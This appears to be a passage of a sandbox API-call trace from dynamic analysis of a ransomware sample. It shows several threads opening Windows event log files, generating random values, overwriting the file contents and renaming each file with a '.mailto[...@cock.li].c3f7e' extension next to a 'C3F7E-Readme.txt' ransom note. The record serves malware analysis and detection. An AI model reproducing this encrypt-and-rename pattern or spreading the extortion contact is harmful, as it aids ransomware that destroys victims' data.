	[0074.590] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0x81cde361
	[0074.591] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0xee49609f
	[0074.591] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0x67827c07
	[0074.591] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0x35d43ea7
	[0074.591] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0x5698738e
	[0074.591] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0xc8f2a96d
	[0074.591] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0x6297de2b
	[0074.591] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0x72ed9023
	[0074.591] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0x617272dd
	[0074.591] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0x53dc63a8
	[0074.591] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0x267949b7
	[0074.591] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0x364b4938
	[0074.591] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0xb2336732
	[0074.601] SetFilePointerEx (in: hFile=0x8a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.601] ReadFile (in: hFile=0x8a8, lpBuffer=0x479d7b8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x868fcd0, lpOverlapped=0x0 | out: lpBuffer=0x479d7b8*, lpNumberOfBytesRead=0x868fcd0*=0xc800, lpOverlapped=0x0) returned 1
	[0074.618] SetFilePointerEx (in: hFile=0x8a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.618] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d738a0
	[0074.618] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47330a0
	[0074.618] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b50
	[0074.618] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b50) returned 1
	[0074.620] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2e11780
	[0074.621] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47880
	[0074.621] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47bc8
	[0074.621] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47bc8) returned 1
	[0074.621] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47330a0) returned 1
	[0074.621] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738a0) returned 1
	[0074.621] WriteFile (in: hFile=0x8a8, lpBuffer=0x2e11780*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x868fcd0, lpOverlapped=0x0 | out: lpBuffer=0x2e11780*, lpNumberOfBytesWritten=0x868fcd0*=0xc800, lpOverlapped=0x0) returned 1
	[0076.661] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e11780) returned 1
	[0076.662] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x479d7b8) returned 1
	[0076.664] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8b) returned 0x2d78550
	[0076.664] SetFilePointerEx (in: hFile=0x8a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.664] WriteFile (in: hFile=0x8a8, lpBuffer=0x4734c40*, nNumberOfBytesToWrite=0x16f, lpNumberOfBytesWritten=0x868fd50, lpOverlapped=0x0 | out: lpBuffer=0x4734c40*, lpNumberOfBytesWritten=0x868fd50*=0x16f, lpOverlapped=0x0) returned 1
	[0076.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734c40) returned 1
	[0076.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d788e0) returned 1
	[0076.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34668) returned 1
	[0076.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78550) returned 1
	[0076.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47880) returned 1
	[0076.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0076.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819e0) returned 1
	[0076.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77268) returned 1
	[0076.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x2d5af20
	[0076.685] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx"
	[0076.685] wcscat (in: _Dest=0x2d5af20, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.685] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x868fd08, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x2d89850
	[0076.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89850) returned 1
	[0076.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d865f0) returned 1
	[0076.686] NtQueryInformationFile (in: FileHandle=0x8a8, IoStatusBlock=0x868fd14, FileInformation=0x868fcec, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x868fd14, FileInformation=0x868fcec) returned 0x0
	[0076.686] NtSetInformationFile (FileHandle=0x8a8, IoStatusBlock=0x868fd14, FileInformation=0x868fcec, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.687] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0076.687] FlushFileBuffers (hFile=0x8a8) returned 1
	[0078.362] CloseHandle (hObject=0x8a8) returned 1
	[0080.105] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d87af8
	[0080.105] wcscpy (in: _Dest=0x2d87af8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0080.106] wcscat (in: _Dest=0x2d87af8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0080.106] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0080.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d87af8) returned 1
	[0080.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79428) returned 1

Thread:
	id = 145
	os_tid = 0x2ac

	[0074.407] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20
	[0074.927] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", dwFileAttributes=0x20) returned 1
	[0074.927] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8c4
	[0074.929] GetFileSizeEx (in: hFile=0x8c4, lpFileSize=0x870fa78 | out: lpFileSize=0x870fa78*=69632) returned 1
	[0074.930] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.930] ReadFile (in: hFile=0x8c4, lpBuffer=0x870f9fc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x870f9f8, lpOverlapped=0x0 | out: lpBuffer=0x870f9fc*, lpNumberOfBytesRead=0x870f9f8*=0x4, lpOverlapped=0x0) returned 1
	[0074.933] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.933] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0074.933] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b00
	[0074.933] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47858
	[0074.933] NtQuerySystemTime (in: CurrentTime=0x870f9d8 | out: CurrentTime=0x870f9d8*=132251868016665268) returned 0x0
	[0074.933] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0x213ed7e3
	[0074.933] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0x6cc1fa72
	[0074.933] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0x7cf22604
	[0074.933] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0x88fc17e1
	[0074.933] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0x6c285e4b
	[0074.933] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0x46a9a5de
	[0074.933] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0xbb9628fd
	[0074.933] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0xbedb163c
	[0074.933] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0xc5e3767d
	[0074.933] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0x3a66f74
	[0074.933] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0x722aef89
	[0074.933] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0xffe46b1a
	[0074.933] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0xc93663ef
	[0074.933] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0x6fb0348e
	[0074.933] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0x30de3a24
	[0074.933] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0xcada3368
	[0074.933] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0xa193e2f6
	[0074.933] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0xb5dcb8fa
	[0074.934] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0x9f84383a
	[0074.934] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0x9d63f967
	[0074.934] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0xfcd38af9
	[0074.934] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0xd71d7b3f
	[0074.934] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0xc69ff74c
	[0074.934] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0xd709af7b
	[0074.934] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0x83709636
	[0074.934] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0xe2db0884
	[0074.934] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0xc041ca61
	[0074.934] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0xe405f5f3
	[0074.934] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0x86ed43e0
	[0074.934] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0x915ac12f
	[0074.934] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0xfbb91b87
	[0074.934] RtlRandom (in: Seed=0x870f9e4 | out: Seed=0x870f9e4) returned 0xc4258a16
	[0074.943] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.943] ReadFile (in: hFile=0x8c4, lpBuffer=0x2e04f78, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x870f9b8, lpOverlapped=0x0 | out: lpBuffer=0x2e04f78*, lpNumberOfBytesRead=0x870f9b8*=0xc800, lpOverlapped=0x0) returned 1
	[0074.946] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.946] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73978
	[0074.946] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.946] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0074.946] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c18) returned 1
	[0074.947] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4790fb0
	[0074.948] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47bf0
	[0074.948] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e477e0
	[0074.948] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e477e0) returned 1
	[0074.948] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.948] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73978) returned 1
	[0074.948] WriteFile (in: hFile=0x8c4, lpBuffer=0x4790fb0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x870f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4790fb0*, lpNumberOfBytesWritten=0x870f9b8*=0xc800, lpOverlapped=0x0) returned 1
	[0076.656] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790fb0) returned 1
	[0076.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04f78) returned 1
	[0076.659] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6f) returned 0x2e045b8
	[0076.659] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.659] WriteFile (in: hFile=0x8c4, lpBuffer=0x4782c38*, nNumberOfBytesToWrite=0x153, lpNumberOfBytesWritten=0x870fa38, lpOverlapped=0x0 | out: lpBuffer=0x4782c38*, lpNumberOfBytesWritten=0x870fa38*=0x153, lpOverlapped=0x0) returned 1
	[0076.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782c38) returned 1
	[0076.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e03fa0) returned 1
	[0076.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34578) returned 1
	[0076.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0076.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47bf0) returned 1
	[0076.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b00) returned 1
	[0076.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478a8) returned 1
	[0076.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0076.670] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4734db8
	[0076.670] wcscpy (in: _Dest=0x4734db8, _Source="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx"
	[0076.670] wcscat (in: _Dest=0x4734db8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.670] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x870f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.671] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2d70068
	[0076.671] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70068) returned 1
	[0076.671] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e888) returned 1
	[0076.671] NtQueryInformationFile (in: FileHandle=0x8c4, IoStatusBlock=0x870f9fc, FileInformation=0x870f9d4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x870f9fc, FileInformation=0x870f9d4) returned 0x0
	[0076.671] NtSetInformationFile (FileHandle=0x8c4, IoStatusBlock=0x870f9fc, FileInformation=0x870f9d4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.673] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734db8) returned 1
	[0076.673] FlushFileBuffers (hFile=0x8c4) returned 1
	[0076.687] CloseHandle (hObject=0x8c4) returned 1
	[0076.688] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d707c0
	[0076.688] wcscpy (in: _Dest=0x2d707c0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0076.688] wcscat (in: _Dest=0x2d707c0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0076.688] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0076.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d707c0) returned 1
	[0076.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d60348) returned 1

Thread:
	id = 146
	os_tid = 0x600

	[0074.408] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20
	[0074.652] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0074.653] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8c0
	[0074.653] GetFileSizeEx (in: hFile=0x8c0, lpFileSize=0x878f9d0 | out: lpFileSize=0x878f9d0*=69632) returned 1
	[0074.653] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.653] ReadFile (in: hFile=0x8c0, lpBuffer=0x878f954, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x878f950, lpOverlapped=0x0 | out: lpBuffer=0x878f954*, lpNumberOfBytesRead=0x878f950*=0x4, lpOverlapped=0x0) returned 1
	[0074.689] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.689] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0074.689] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c40
	[0074.689] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0074.689] NtQuerySystemTime (in: CurrentTime=0x878f930 | out: CurrentTime=0x878f930*=132251868014320774) returned 0x0
	[0074.689] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0x3f4c6cb4
	[0074.689] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0xd4102a33
	[0074.689] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0x6f2869c4
	[0074.689] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0x45d977ff
	[0074.689] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0xe030afb
	[0074.689] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0xd2d1065b
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0x46622dd3
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0x64b1ae85
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0x88e588b8
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0xbfe2d452
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0xdd09b421
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0x7b7f80ba
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0x1eb9c5ac
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0xc1a78974
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0x66bc4839
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0xa6125e94
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0xa0963c6e
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0x91b38904
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0x2c2c19da
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0x3c150f27
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0x3ac8be92
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0xd1eaaf00
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0x6488d012
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0x8ef32726
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0xfdc01b6
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0x7a660c59
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0x1fbc2370
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0xc5e03991
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0xbe2aa368
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0xe638e4c4
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0xe87f5da3
	[0074.690] RtlRandom (in: Seed=0x878f93c | out: Seed=0x878f93c) returned 0xf288e578
	[0074.699] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.699] ReadFile (in: hFile=0x8c0, lpBuffer=0x2e04f78, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x878f910, lpOverlapped=0x0 | out: lpBuffer=0x2e04f78*, lpNumberOfBytesRead=0x878f910*=0xc800, lpOverlapped=0x0) returned 1
	[0074.723] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.723] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73d20
	[0074.723] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04978
	[0074.723] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e478f8
	[0074.723] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478f8) returned 1
	[0074.724] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47c2fd0
	[0074.726] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c90
	[0074.726] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47cb8
	[0074.727] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47cb8) returned 1
	[0074.727] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04978) returned 1
	[0074.727] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73d20) returned 1
	[0074.727] WriteFile (in: hFile=0x8c0, lpBuffer=0x47c2fd0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x878f910, lpOverlapped=0x0 | out: lpBuffer=0x47c2fd0*, lpNumberOfBytesWritten=0x878f910*=0xc800, lpOverlapped=0x0) returned 1
	[0074.745] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c2fd0) returned 1
	[0074.746] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04f78) returned 1
	[0074.749] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6d) returned 0x47330a0
	[0074.749] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.749] WriteFile (in: hFile=0x8c0, lpBuffer=0x2d895c8*, nNumberOfBytesToWrite=0x151, lpNumberOfBytesWritten=0x878f990, lpOverlapped=0x0 | out: lpBuffer=0x2d895c8*, lpNumberOfBytesWritten=0x878f990*=0x151, lpOverlapped=0x0) returned 1
	[0074.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d895c8) returned 1
